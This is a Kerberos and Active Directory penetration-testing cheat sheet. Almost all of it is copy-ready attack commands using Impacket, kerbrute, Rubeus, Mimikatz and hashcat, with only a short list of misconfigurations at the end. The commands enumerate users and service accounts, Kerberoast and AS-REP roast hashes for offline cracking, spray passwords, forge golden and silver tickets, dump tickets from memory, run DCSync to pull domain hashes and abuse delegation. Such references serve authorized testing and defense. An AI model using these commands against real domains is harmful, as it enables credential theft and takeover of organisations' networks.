Kerberos Pentesting

Kerberos pentesting techniques for identifying, exploiting authentication protocol, enumeration, attack vectors and post-exploitation insights.

port 88

Kerberos

Default Port: 88

Kerberos is a network authentication protocol designed to provide strong authentication for client/server applications using secret-key cryptography. Developed by MIT, it's the default authentication protocol in Windows Active Directory environments. Kerberos uses tickets to allow nodes to prove their identity over non-secure networks without transmitting passwords. The protocol involves a Key Distribution Center (KDC) that includes an Authentication Server (AS) and a Ticket Granting Server (TGS).

Connect​

Using kinit (Get TGT)​

Use the standard Kerberos client to obtain Ticket Granting Tickets.

# Request Ticket Granting Ticket  
kinit username@DOMAIN.COM  
  
# With password  
echo 'password' | kinit username@DOMAIN.COM  
  
# Check tickets  
klist  
  
# Destroy tickets  
kdestroy  

Using Impacket Tools​

Use Impacket tools for advanced Kerberos operations and ticket management.

# Get TGT  
getTGT.py DOMAIN/username:password  
  
# Use ticket  
export KRB5CCNAME=username.ccache  
  
# Request service ticket  
getST.py -spn service/hostname DOMAIN/username -k -no-pass  

Recon​

Service Detection with Nmap​

Use Nmap to identify Domain Controllers and Kerberos services in Active Directory environments:

nmap -p 88 -sV target.com  

Banner Grabbing​

Use netcat to identify Kerberos servers and gather realm information:

# Using netcat (limited)  
nc -vn target.com 88  

Enumeration​

Username Enumeration​

Kerberos provides different error messages for valid and invalid usernames, enabling user enumeration without authentication.

Using kerbrute​

# Using kerbrute  
kerbrute userenum --dc target.com -d DOMAIN.COM users.txt  

Using Nmap Scripts​

# Using Nmap  
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='DOMAIN.COM',userdb=users.txt target.com  

Manual Username Enumeration​

# Manual enumeration  
for user in $(cat users.txt); do  
  getTGT.py DOMAIN/$user -dc-ip target.com -no-pass 2>&1 | grep -v "KDC_ERR_PREAUTH_REQUIRED"  
done  

SPN Enumeration (Service Discovery)​

Service Principal Names (SPNs) identify services running under specific accounts and are prime targets for Kerberoasting attacks.

# Using GetUserSPNs (Impacket)  
GetUserSPNs.py DOMAIN/username:password -dc-ip target.com  
  
# Without credentials (requires access to DC)  
GetUserSPNs.py -request -dc-ip target.com DOMAIN/username  
  
# From Windows  
setspn -T DOMAIN.COM -Q */*  

AS-REP Roastable Users​

Users with "Do not require Kerberos preauthentication" enabled can have their password hashes extracted without valid credentials.

# Using GetNPUsers (Impacket)  
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip target.com -format hashcat  
  
# Specific user  
GetNPUsers.py DOMAIN/username -dc-ip target.com -no-pass  
  
# From Windows with PowerView  
Get-DomainUser -PreauthNotRequired  

Attack Vectors​

Kerberoasting​

Kerberoasting exploits service accounts with SPNs by requesting tickets that can be cracked offline.

Request Service Tickets​

GetUserSPNs.py DOMAIN/username:password -dc-ip target.com -request -outputfile hashes.txt  

Crack Kerberos Tickets​

# Using Hashcat (Kerberos 5 TGS-REP etype 23)  
hashcat -m 13100 hashes.txt rockyou.txt  
  
# Using John the Ripper  
john --format=krb5tgs hashes.txt --wordlist=rockyou.txt  
  
# From Windows with Rubeus  
Rubeus.exe kerberoast /outfile:hashes.txt  

AS-REP Roasting​

Exploit accounts that don't require Kerberos pre-authentication.

# Get AS-REP hashes  
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -dc-ip target.com > asrep_hashes.txt  
  
# Crack with hashcat (Kerberos 5 AS-REP etype 23)  
hashcat -m 18200 asrep_hashes.txt rockyou.txt  
  
# From Windows with Rubeus  
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt  

Password Spraying​

Attempt common passwords across many accounts to avoid account lockouts.

# Using kerbrute  
kerbrute passwordspray --dc target.com -d DOMAIN.COM users.txt 'Password123!'  
  
# Using crackmapexec  
crackmapexec smb target.com -u users.txt -p 'Password123!' --continue-on-success  
  
# Multiple passwords  
for pass in 'Winter2024!' 'Spring2024!' 'Password123!'; do  
  kerbrute passwordspray --dc target.com -d DOMAIN.COM users.txt "$pass"  
done  

Golden Ticket Attack​

Create forged TGT with stolen krbtgt hash to gain domain admin access.

Golden Ticket Creation​

# Using Mimikatz (requires krbtgt hash)  
kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-XXX-XXX-XXX /krbtgt:KRBTGT_HASH /id:500  
  
# Using Impacket  
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX-XXX-XXX -domain DOMAIN.COM Administrator  

Using Golden Tickets​

# Set ticket  
export KRB5CCNAME=Administrator.ccache  
  
# Access any resource  
psexec.py DOMAIN/Administrator@target.com -k -no-pass  

Silver Ticket Attack​

Create forged service ticket with service account hash for specific service access.

Silver Ticket Creation​

# Using Mimikatz  
kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-XXX-XXX-XXX /target:server.domain.com /service:cifs /rc4:SERVICE_HASH /id:500  
  
# Using Impacket  
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-XXX-XXX-XXX -domain DOMAIN.COM -spn cifs/server.domain.com Administrator  

Using Silver Tickets​

# Access the specific service  
smbclient.py -k DOMAIN/Administrator@server.domain.com  

Pass-the-Ticket​

Use stolen Kerberos tickets to authenticate without knowing passwords.

Ticket Extraction and Conversion​

# Export ticket from Windows  
mimikatz "sekurlsa::tickets /export"  
  
# Convert .kirbi to .ccache  
ticketConverter.py ticket.kirbi ticket.ccache  

Using Stolen Tickets​

# Use ticket  
export KRB5CCNAME=ticket.ccache  
psexec.py DOMAIN/username@target.com -k -no-pass  

Post-Exploitation​

Ticket Extraction​

Extract Kerberos tickets from compromised systems for lateral movement.

Windows Ticket Extraction​

# Using Mimikatz on compromised Windows  
sekurlsa::tickets /export  
  
# Using Rubeus  
Rubeus.exe dump /service:krbtgt  

Linux Ticket Extraction​

# From Linux with tickey  
impacket-getTGT DOMAIN/username:password  

DCSync Attack​

Extract password hashes from Domain Controller using DCSync technique.

# Using Mimikatz  
lsadump::dcsync /user:DOMAIN\krbtgt  
lsadump::dcsync /user:DOMAIN\Administrator  
  
# Using Impacket  
secretsdump.py DOMAIN/username:password@dc.domain.com  
  
# Just DCSync (no SAM/LSA)  
secretsdump.py -just-dc DOMAIN/username:password@dc.domain.com  

Delegation Abuse​

Exploit Kerberos delegation configurations for privilege escalation.

Delegation Discovery​

# Find computers with unconstrained delegation  
Get-DomainComputer -Unconstrained  
  
# Find users with constrained delegation  
Get-DomainUser -TrustedToAuth  

Delegation Exploitation​

# Exploit unconstrained delegation  
# Compromise server with unconstrained delegation  
# Wait for admin to connect  
# Extract their TGT from memory  

Kerberos Ticket Types​

Ticket| Description| Use Case
---|---|---
TGT| Ticket Granting Ticket| Initial authentication
TGS| Ticket Granting Service| Service access
Golden Ticket| Forged TGT| Full domain access
Silver Ticket| Forged TGS| Specific service access

Useful Tools​

Tool| Description| Primary Use Case
---|---|---
kerbrute| Kerberos enumeration| Username/password spraying
Rubeus| Kerberos attack tool| Windows-based attacks
Mimikatz| Credential dumper| Ticket manipulation
Impacket| Python toolkit| Various Kerberos attacks
hashcat| Password cracker| Ticket cracking
John the Ripper| Password cracker| Hash cracking
PowerView| AD enumeration| Domain reconnaissance

Security Misconfigurations​

  • ❌ Pre-authentication not required
  • ❌ Weak service account passwords
  • ❌ RC4 encryption allowed
  • ❌ Unconstrained delegation
  • ❌ Excessive SPNs on accounts
  • ❌ Long ticket lifetimes
  • ❌ No monitoring of Kerberos events
  • ❌ Weak krbtgt password
  • ❌ Legacy encryption types enabled
  • ❌ No PAC validation